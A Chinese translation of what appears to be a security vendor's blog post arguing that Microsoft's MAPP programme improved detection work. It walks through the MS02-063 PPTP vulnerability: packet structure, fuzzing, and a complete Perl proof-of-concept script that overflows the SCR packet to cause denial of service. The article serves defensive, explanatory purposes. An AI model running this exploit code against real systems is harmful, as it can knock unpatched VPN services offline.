MAPP计划内幕:微软主动保护计划如何改变安全检测格局

本文深入探讨微软主动保护计划(MAPP)对安全检测技术的革命性影响,对比MAPP实施前后漏洞检测内容的开发流程,包括PPTP协议漏洞分析、PoC代码实现及检测系统更新机制,展现行业协作如何提升网络安全防护效率。

MAPP – 内幕视角

作者:Matt Watchinski(Sourcefire漏洞研究团队高级总监)

又到了一年中的这个时候。气温飙升超过100华氏度,我挤在一辆“飞行巴士”上前往拉斯维加斯参加今年的Black Hat和DEF CON会议。这个传统总是让我思考安全领域这些年的演变。网络安全本身被视为一个行业是相对较新的发展。在所有表明行业成熟的迹象中,微软的主动保护计划(MAPP)可能是最重要的之一。

现在我可以继续说“MAPP太棒了,每个人都喜欢它,它让世界更安全,还免费发放彩虹和独角兽”。但如果我这样做,可能会收到一堆粉丝邮件,我的iPhone可能会自燃。相反,我更喜欢比较和对比MAPP前后创建检测内容的过程。这样才能真正理解MAPP的影响及其对成员的价值。

创建检测内容

每个检测漏洞利用、恶意软件和漏洞或其他安全威胁的设备都遵循三个相对简单但复杂的原则:

  1. 了解攻击的传递机制并能够检查它。这可能像定位TCP包的数据部分一样简单,像解析DCERPC到所有已知结构和组件一样复杂,或者解构和解压缩PDF文件。简而言之,如果找不到要查找的内容,就无法检查它。

  2. 了解到达易受攻击代码的前提条件以及触发给定漏洞所需的条件

  3. 一种表示原则一和二的方式,可以在检测系统中为每个新威胁更新

真的很简单——防御者必须在更新检测系统之前为漏洞开发有效的PoC代码。没有PoC,就没有检测。

MAPP之前

让我们回到2003年10月“补丁星期二”发明之前,甚至更早的2002年10月30日,看看MS02-063,它恰当地命名为“PPTP实现中的未检查缓冲区可能导致拒绝服务攻击”。在发布时,公共领域中没有此漏洞的利用程序,据我所知,至今也没有。除非你是微软、原始报告者或一直在寻找PPTP中大量漏洞的人,否则你对此漏洞一无所知。作为当时的研究工程师,我的工作是为我们的产品添加对此威胁的保护。以下是我必须完成的步骤的简化版本。

第一步是确定PPTP包的结构。PPTP有一个记录的RFC,微软在这种情况下实现了它,这使工作变得容易得多。对于像DCERPC这样的东西,情况完全不同,当原始LSD漏洞利用发布时,它没有公共文档。

SCR PPTP包结构

  • 长度字段 – 2字节
  • PPTP消息类型 – 2字节
  • Magic Cookie – 4字节
  • 控制消息类型 – 2字节
  • Reserved0 – 2字节
  • 协议版本 – 2字节
  • Reserved1 – 2字节
  • 帧能力 – 4字节
  • 承载能力 – 4字节
  • 最大通道数 – 2字节
  • 固件版本 – 2字节
  • 主机名 – 8字节
  • 供应商字符串 – 8字节

接下来,用PERL或C等语言编写PPTP的基本实现。记住,这是2002年;还没有Ruby或Python。然后用一些示例流量测试它。这需要设置一个完整的Windows 2000系统,运行PPTP服务,由于这是一个内核错误,修改boot.ini为/DEBUG,将WinDBG连接到那个老式的COM端口并开始测试。一旦正常流量流动,tcpdump显示对会话设置包的有效响应,下一步是将基本实现变成一个快速的模糊测试器。

测试37:在位置14处420个“字符”

在模糊测试器迭代37次后,WinDBG弹出,经过一些Perl,我有了一个有效的PoC。

PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 描述:
# 漏洞是通过向SCR(服务控制请求)PPTP包添加417字节负载引起的

use IO::Socket;
$host = "X.Y.Z.A";
$port = "1723";
$scr = "\x00\x9c\x00\x01\x1a\x2b\x3c\x4d\x00\x01\x00\x00\x01\x00";
$scr .= "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\x00\x01\x41\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "A" x 420;
$SOCK = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
Type => SOCK_STREAM
);
if(! $SOCK)
{
print "Error\n";
exit(0);
}
print $SOCK $scr;

现在我可以继续将这些情报添加到我的检测系统中;PPTP作为协议如何工作,漏洞在哪里,以及利用的具体条件是什么。工作完成,继续下一个补丁。

在MAPP之前,地球上的每个人都是这样向设备添加安全内容的。不幸的是,这有一些独特的缺点:

  1. 一场竞赛——补丁发布时,防御者和攻击者在同一竞技场上。谁逆向工程最快,谁就赢。
  2. 代码路径无知——可能有多种方式到达易受攻击的代码部分。如果该代码路径未被测试或识别,可能导致检测内容错过新的传递向量。
  3. 浪费精力——如果没有其他漏洞被修补或发布,那么所有关于PPTP协议的研究都是浪费。
  4. 失败状态——即使最聪明的人有时也会失败。在这种情况下,结果是没有为特定威胁提供检测内容。

MAPP之后

MAPP启动并开始与合作伙伴共享高质量漏洞数据后,安全格局真正改变了。不再是与攻击者赛跑。防御者有了先发优势,可以为这些威胁构建、测试和改进检测技术。可以相应地调查和覆盖传递向量和不同的代码路径,逆向工程文件格式或协议的浪费精力可以重新投入到安全解决方案的开发中。最后,它通过改变行业保护免受针对微软漏洞攻击的方式来改变失败状态。不再是谁有最聪明的人来逆向工程补丁,而是谁有最有能力的检测技术,以及能够以最健壮的格式在产品中表示利用条件。

此外,MAPP展示了与行业协调时可以做什么。MAPP中的每个供应商在补丁星期二发布及时的检测内容更新以保护客户。这允许更大比例的最终用户(所有MAPP成员客户的集合)获得这些保护。它也使攻击者与部署赛跑,因为他们已经输掉了理解漏洞的竞赛。

最后思考

任何认真对待安全的软件制造商都应实施像MAPP这样的信息共享计划,并让安全社区参与帮助保护他们的共同客户。攻击者之间共享信息;防御者也需要共享信息。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计